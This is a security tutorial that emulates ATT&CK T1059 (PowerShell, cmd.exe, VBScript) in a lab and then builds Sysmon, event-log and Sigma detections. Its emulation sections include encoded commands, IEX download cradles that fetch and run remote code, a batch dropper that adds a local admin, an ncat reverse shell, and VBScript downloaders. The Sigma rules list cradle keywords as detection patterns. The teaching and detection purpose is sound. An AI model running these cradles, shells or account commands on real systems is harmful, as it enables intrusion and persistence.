Emulating T1059 – Command and Scripting Interpreters: PowerShell, CMD, and WScript Techniques
You popped a workstation through a phishing lure. No custom malware, no dropped binary that lights up the EDR, nothing exotic. Just a .vbs attachment that shelled out to PowerShell, pulled a second stage into memory, and dropped a batch file for persistence. Three interpreters, all signed by Microsoft, all already on disk. That is T1059 in a nutshell, and it is why this technique sits near the top of every ATT&CK prevalence report year after year.
Objective: Reproduce adversary tradecraft for the three native Windows interpreters – PowerShell (T1059.001), Windows Command Shell (T1059.003), and Visual Basic / WScript (T1059.005) – against an authorized lab target, then wire up the exact Sysmon, PowerShell, and Windows event telemetry a defender uses to catch each hop.
1. What Is T1059 and Why It Dominates the ATT&CK Top 10
T1059 – Command and Scripting Interpreter lives under the Execution tactic (TA0002), but its reach is much wider. Attackers use native interpreters at every lifecycle stage: initial execution, discovery, credential access, lateral movement, persistence. In the Red Report 2026, Command and Scripting Interpreter ranked as the second most observed technique across analyzed samples. That is not an accident. The interpreters ship with the OS, run signed, and are trusted by a mountain of legitimate automation.
This is the Living-off-the-Land (LotL) philosophy. Why smuggle a payload past application controls when powershell.exe, cmd.exe, and wscript.exe already sit in System32 waiting to be told what to do? The three sub-techniques below each carry a different trade-off in capability versus visibility, and mature operators pick the quietest interpreter that gets the job done.
| Sub-technique | Interpreter | Capability | Default telemetry |
|---|---|---|---|
| T1059.001 | powershell.exe / pwsh.exe | .NET, WMI, COM, Win32 API | High (ScriptBlock, AMSI) |
| T1059.003 | cmd.exe | Process chaining, batch logic | Low (no AMSI, few native events) |
| T1059.005 | wscript.exe / cscript.exe | COM, HTTP, FS, registry | Medium (process create, file writes) |
2. Lab Setup: Building a Safe Emulation Environment
Everything below runs on an isolated host-only network. Nothing touches the internet from the target.
- Target: Windows 10 22H2 VM. Default
ExecutionPolicy RemoteSigned, no WDAC or AppLocker, WSH enabled, a non-admin local accountlabuser. - Attacker: Kali or a second Windows VM at
192.168.56.10. C2 is simulated withncatand a Python HTTP server, not a real beacon.
Install Sysmon with a solid baseline config and turn on the PowerShell logging that most fresh installs leave off.
# Target VM, elevated. Install Sysmon with SwiftOnSecurity config.
Invoke-WebRequest -Uri https://live.sysinternals.com/Sysmon64.exe -OutFile Sysmon64.exe
.\Sysmon64.exe -accepteula -i sysmonconfig-export.xml
# Enable Script Block + Module Logging via registry (equivalent to the GPO)
$base = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'
New-Item "$base\ScriptBlockLogging" -Force | Out-Null
Set-ItemProperty "$base\ScriptBlockLogging" EnableScriptBlockLogging 1
New-Item "$base\ModuleLogging" -Force | Out-Null
Set-ItemProperty "$base\ModuleLogging" EnableModuleLogging 1
New-ItemProperty "$base\ModuleLogging\ModuleNames" -Name '*' -Value '*' -Force
Turn on command-line auditing so Security Event ID 4688 captures full arguments, then pull down Atomic Red Team for reference tests.
# Command-line process auditing
auditpol /set /subcategory:"Process Creation" /success:enable
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit" `
/v ProcessCreationIncludeCmdLine_Enabled /t REG_DWORD /d 1 /f
# Atomic Red Team
Install-Module -Name invoke-atomicredteam,powershell-yaml -Force
Import-Module invoke-atomicredteam
Confirm you see events in Applications and Services Logs > Microsoft-Windows-PowerShell/Operational before moving on. If 4104 is silent, your logging isn’t on and every detection below will lie to you.
3. T1059.001 – PowerShell: Techniques and Emulation
PowerShell is the heavyweight. Full .NET, WMI, COM, and the Win32 API from a single signed binary. Two patterns dominate real intrusions: the encoded command and the download cradle.
Recon and the encoded command
Start by confirming the interpreter version, then craft an encoded payload. -EncodedCommand accepts a Base64 string of UTF-16LE bytes, which hides the actual command from casual log review.
# Attacker side: build the encoded recon payload
$cmd = 'whoami; hostname; ipconfig /all'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
"powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand $enc"
Run the produced line on the target. Note the stacked flags: -NoProfile skips profile scripts, -NonInteractive suppresses prompts, -WindowStyle Hidden hides the window, -ExecutionPolicy Bypass sidesteps the policy that was never a security boundary to begin with.
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand <base64>
Here is the payoff you want to remember: on the wire and in 4688 you see -enc JABxAD0A..., garbage to a casual eye. But ScriptBlock Logging (4104) records the fully decoded whoami; hostname; ipconfig /all because PowerShell logs the block after it deobfuscates it, right before execution. That asymmetry is the single most important detection fact in this whole tutorial.
Download cradle (fileless IEX)
Host a second stage on the attacker box and pipe it straight into Invoke-Expression. Nothing hits disk on the target.
# Attacker VM
echo "Write-Output ('STAGE2 EXECUTED: ' + (whoami))" > stage2.ps1
python3 -m http.server 8080
# Target
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `
"IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8080/stage2.ps1')"
Net.WebClient.DownloadString plus IEX is the canonical cradle. Swap in Invoke-WebRequest (iwr), Invoke-RestMethod, or Start-BitsTransfer and the shape is identical: fetch a string, execute it in memory. This also trips T1105 (Ingress Tool Transfer), so expect it to show up on two ATT&CK rows.
AMSI and the bypass category
Windows 10 routes script content through the Antimalware Scan Interface. amsi.dll exposes AmsiScanBuffer and AmsiScanString, and Defender scans the buffer before the runtime executes it. When your cradle contains a signatured string, Defender fires and you see Microsoft-Windows-Windows Defender/Operational Event ID 1116.
Attackers defeat this by patching AmsiScanBuffer in memory so it returns a clean result before the scan completes. I am deliberately not shipping a working production patch here – that crosses the line into a turnkey evasion tool. What matters for emulation and detection is the observable footprint: amsi.dll loading into powershell.exe shows as Sysmon Event ID 7 (ImageLoad), and reflective loaders that touch the module often generate Event ID 10 (ProcessAccess). Run an unmodified signatured payload first, watch 1116 fire, and treat that event as your ground truth that AMSI is doing its job.
Reference tests
Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3 -GetPrereqs
Invoke-AtomicTest T1059.001 -TestNumbers 1,2,3

4. T1059.003 – Windows Command Shell: Techniques and Emulation
cmd.exe is the quiet one. No AMSI scanning, fewer native events, and it is on every Windows build with zero prerequisites. Attackers reach for it precisely because script-focused monitoring often ignores it.
The /c and /k flags
/c runs one command then exits. /k runs and keeps the shell open. The /c pattern is the workhorse for launching follow-on payloads.
cmd.exe /c whoami && cmd.exe /c net user
Environment-variable obfuscation
cmd.exe resolves itself through the %COMSPEC% environment variable, which malware uses to avoid hardcoding a path. Substring expansion lets an attacker spell interpreter names out of unrelated variables to dodge string matching.
REM %COMSPEC% resolves to C:\Windows\System32\cmd.exe
%COMSPEC% /c echo Obfuscated execution
REM Substring expansion pulls characters out of an env var by index,
REM e.g. %LOCALAPPDATA:~-3,1%md builds "cmd" from arbitrary variables.
This maps to T1027.010 (Command Obfuscation). The ComSpec variable is also an abuse primitive: redirect it and every process that resolves the shell through it launches attacker code instead.
Batch dropper and reverse shell
A batch file chains discovery, account creation, and a beacon file in one artifact.
@echo off
REM lab_payload.bat - intentionally vulnerable lab dropper
net user labadmin P@ssw0rd! /add
net localgroup Administrators labadmin /add
echo Payload executed > %TEMP%\lab_beacon.txt
cmd.exe /c lab_payload.bat
For an interactive shell, start a netcat listener on the attacker and dial back with the classic -e construction.
# Attacker
ncat -lvnp 4444
REM Target
cmd.exe /c start /min cmd.exe /k "ncat 192.168.56.10 4444 -e cmd.exe"
Compare telemetry against Section 3. The reverse shell above generates a process create and a network connect, and that is roughly it. No 4104, no AMSI. That smaller footprint is exactly why you weight parent-child anomalies heavily for cmd.exe.
Invoke-AtomicTest T1059.003 -TestNumbers 1,2,3
5. T1059.005 – WScript/CScript (Visual Basic): Techniques and Emulation
Visual Basic is the phishing world’s favorite. wscript.exe runs .vbs files with a GUI, cscript.exe runs them with console output, and both reach COM, the file system, HTTP, and the registry. VBA macros fall under the same sub-technique.
Basic execution through WScript.Shell
' lab_recon.vbs
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c whoami > C:\Temp\out.txt", 0, True
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("C:\Temp\out.txt", 1)
MsgBox objFile.ReadAll
wscript.exe lab_recon.vbs
cscript.exe //nologo lab_recon.vbs
The 0 in .Run(...,0,True) runs the child window hidden. That is the tell defenders hunt: a script host silently spawning cmd.exe or powershell.exe.
HTTP download via XMLHTTP
VBScript pulls remote payloads through COM without touching a browser.
' lab_download.vbs - fetch a stage from the lab HTTP server
Dim xhr
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "http://192.168.56.10:8080/stage2.txt", False
xhr.Send
Dim fso, f
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateTextFile("C:\Temp\stage2.txt", True)
f.Write xhr.ResponseText
f.Close
WinHttp.WinHttpRequest.5.1 is the interchangeable cousin. .vbe encoded scripts (Microsoft’s own Script Encoder) and .wsf multi-engine XML wrappers add obfuscation on top of the same primitives.
The VBS to PowerShell hop
The move that stitches sub-techniques together: let VBScript launch a hidden PowerShell cradle.
' lab_chain.vbs - VBS drops to PowerShell
Set ws = CreateObject("WScript.Shell")
ws.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command ""IEX (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8080/stage2.ps1')""", 0, False
Invoke-AtomicTest T1059.005 -TestNumbers 1,2,3
6. Chaining Interpreters: A Realistic Kill-Chain Scenario
No serious operator uses one interpreter in isolation. Chain them so each hop hands off to the next, spreading the noise across three signed processes.
[Phishing .vbs attachment]
| T1059.005
wscript.exe lab_chain.vbs
| T1059.001
powershell.exe -enc <Base64 download cradle>
| T1105 (Ingress Tool Transfer)
Downloads stage2.bat to %TEMP%
| T1059.003
cmd.exe /c stage2.bat (persistence + beacon)
| T1547.001 (Registry Run key)
The gift this leaves for a defender is the process ancestry. Every hop is a Sysmon Event ID 1 with a ParentImage to Image link that no legitimate workflow reproduces. outlook.exe to wscript.exe to powershell.exe to cmd.exe is a lineage you can alert on with high confidence, because business automation almost never chains three interpreters through a mail client. Hunt the chain, not just the individual binaries.

7. Defensive Strategies & Detection
Detection here is a layered stack: process ancestry from Sysmon, decoded content from PowerShell logging, and content scanning from AMSI. Miss any layer and encoded or fileless variants slip through.
Windows and Sysmon Event IDs
| Event ID | Source | What it captures |
|---|---|---|
4688 | Security | Process create with full command line (needs command-line auditing) |
4103 | PowerShell/Operational | Module logging, per-module pipeline output |
4104 | PowerShell/Operational | ScriptBlock logging, deobfuscated script content |
1116 | Windows Defender/Operational | AMSI detection event |
Sysmon 1 | Sysmon | Process create with ParentImage / ParentCommandLine |
Sysmon 3 | Sysmon | Network connect from powershell.exe / wscript.exe |
Sysmon 7 | Sysmon | Image load, e.g. amsi.dll into powershell.exe |
Sysmon 11 | Sysmon | File create of .vbs, .vbe, .wsf, .bat, .ps1 in temp/startup |
Sysmon 13 | Sysmon | Registry set on WSH settings or ComSpec |
When a command-line rule fires on -enc, always pivot to the matching 4104 event. That is where you read the actual payload instead of Base64.
ETW providers worth subscribing
| Provider | GUID | Coverage |
|---|---|---|
Microsoft-Windows-PowerShell | {A0C1853B-5C40-4B15-8766-3CF1C58F985A} | ScriptBlock, module, pipeline (4103/4104) |
Microsoft-Antimalware-Scan-Interface | {2A576B87-09A7-520E-C21A-4942F0271D67} | AMSI scan results |
Sigma anchors
Encoded and cradle PowerShell:
title: Suspicious PowerShell Encoded Command or Download Cradle
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- 'IEX'
- 'Invoke-Expression'
- 'DownloadString'
- 'Net.WebClient'
- '-WindowStyle Hidden'
- '-ExecutionPolicy Bypass'
condition: selection
level: high
Script host launching an interpreter:
title: WScript or CScript Spawning a Command Interpreter
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
ParentImage|endswith:
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\winword.exe'
- '\excel.exe'
- '\outlook.exe'
condition: selection
level: high
WScript with a script argument:
title: WScript or CScript Executing Script Files
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
Image|endswith:
- '\wscript.exe'
- '\cscript.exe'
CommandLine|contains:
- '.vbs'
- '.vbe'
- '.wsf'
filter_admin:
ParentImage|endswith: '\explorer.exe'
condition: selection and not filter_admin
level: medium
Tune the explorer.exe filter to your environment; plenty of legitimate .vbs launch interactively, and you will drown in noise if you skip that step.
Hardening
| Control | Mechanism |
|---|---|
| Constrained Language Mode | Enforced via WDAC; blocks .NET / COM reflection abuse |
| Script Block Logging | GPO, captures deobfuscated content pre-execution |
| Disable WSH | HKLM\Software\Microsoft\Windows Script Host\Settings\Enabled = 0 (DWORD) |
| ASR: block Office child processes | Rule GUID d4f940ab-401b-4efc-aadc-ad5f3c50688a |
| ASR: block obfuscated scripts | Rule GUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc |
| AppLocker / WDAC | Whitelist execution; deny wscript.exe / cscript.exe for non-admins |
| ComSpec monitoring | Alert on Sysmon 13 writes to ...\Session Manager\Environment\ComSpec |
Execution Policy is not a security boundary by itself, so do not lean on it. Constrained Language Mode plus WDAC and ASR rules is where the real reduction happens.

8. Tools for T1059 Emulation and Analysis
| Tool | Description | Link |
|---|---|---|
| Invoke-AtomicRedTeam | Runs the T1059.* atomic tests used above | github.com |
| Sysmon | Process, network, image-load, registry telemetry | sysinternals.com |
| Process Hacker | Live process tree and command-line inspection | processhacker.sourceforge.io |
| Process Monitor | File, registry, and process activity trace | sysinternals.com |
| Sigma | Portable detection rules for the SIEM of your choice | sigmahq.io |
| ncat | Reverse-shell listener for lab C2 simulation | nmap.org |
9. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Command and Scripting Interpreter | T1059 | Sysmon 1 process ancestry, 4688 command line |
| PowerShell | T1059.001 | 4104 ScriptBlock, 1116 AMSI, 4103 module log |
| Windows Command Shell | T1059.003 | 4688 cmd /c + suspicious child, Sysmon 1 |
| Visual Basic | T1059.005 | Sysmon 1 wscript/cscript, 11 script file create |
| Obfuscated Files or Information | T1027 | Base64, tick marks in 4104 content |
| Command Obfuscation | T1027.010 | Env-var substring expansion in 4688 |
| Ingress Tool Transfer | T1105 | Sysmon 3 outbound from interpreter |
| Disable or Modify Tools | T1562.001 | amsi.dll load anomalies, missing PS logs |
| Registry Run Keys / Startup Folder | T1547.001 | Sysmon 13 Run-key writes |
| Windows Remote Management | T1021.006 | Invoke-Command over WinRM |
Summary
- T1059 dominates because the interpreters are already installed, signed, and trusted – attackers execute code without dropping anything novel.
- PowerShell (
T1059.001) is the most capable and the loudest; encoded commands andIEXdownload cradles are the two patterns you will see most, and4104shows the decoded payload regardless of Base64. - Windows Command Shell (
T1059.003) trades capability for stealth: no AMSI, minimal native events, so weight parent-child anomalies andComSpecabuse. - WScript/CScript (
T1059.005) is the phishing delivery layer; hunt.vbs/.vbe/.wsffile writes and script hosts spawning interpreters. - Real intrusions chain all three – detect the process lineage (Sysmon Event ID
1), decode the content (Event ID4104), and scan it (AMSI Event ID1116), then harden with Constrained Language Mode, WDAC, and ASR rules.
Related Tutorials
- Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
- APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
- Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
- Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
- Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
References
- attack.mitre.org
- attack.mitre.org
- attack.mitre.org
- www.picussecurity.com
- www.picussecurity.com
- www.picussecurity.com
- www.securityscientist.net
- www.securityscientist.net
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.